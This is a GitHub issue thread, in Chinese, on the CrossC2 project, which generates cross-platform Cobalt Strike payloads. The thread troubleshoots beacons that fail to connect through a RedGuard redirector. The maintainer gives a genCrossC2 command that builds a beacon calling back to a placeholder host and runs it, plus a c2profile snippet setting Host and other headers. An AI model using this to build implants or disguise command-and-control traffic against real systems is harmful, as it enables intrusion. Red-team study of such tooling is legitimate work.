gloxec / CrossC2

generate CobaltStrike's cross-platform payload
2.2k stars 339 forks source link

crossc2反向代理 #205

Open ksopen1 opened 10 months ago

ksopen1 commented 10 months ago

给cs配置了一个反向代理,但是使用crossc2就无法上线了 crossc2生成马并没有header host和bind port选项

gloxec commented 9 months ago

可以具体描述信息吗?还有这里的bind port是指?

关于header host: 1.在生成crossc2时,指定的host和port值会替换到请求体http header的host处 2.使用c2profile自动解析时,会将c2profile中定义的get-post/http header值全部替换置到请求体http header中(包含host等等) 3.使用通信协议自定义库时,则可以自己编写整个http请求内容

ksopen1 commented 9 months ago

tool:https://github.com/wikiZ/RedGuard

gloxec commented 9 months ago
  1. 如果使用自定义协议库,可自由编写http请求体的所有内容

  2. 如果直接使用c2profile解析方式生成beacon,是支持该工具下正常上线的,如果还是无法上线,可能需要仔细核对redguard提示的错误项

    $ ./genCrossC2 www.example.com 443 .cs_key ";;c2profile.profile" Linux x64 ./a.out
    $ ./a.out

例如出现UserAgent不符合http请求Header头不符合Host地址不对时,需检查c2profile中有无配置正确的数据段

c2profille:

set useragent "Mozilla.....";   # 1. 可直接全局配置UserAgent

http-get {
    client {
        header "Host" "www.example.com"; # 3.1 配置beacon请求头中的Host (windows版本的beacon可缺省/或由用户指定)
        header "Accept" "text/html"; # 2. 其他 header 头 
        header .....
    }
}
http-post {
    client {
        header "Host" "www.example.com:9991"; # 3.2 Host可自由设定
        header .....
    }
}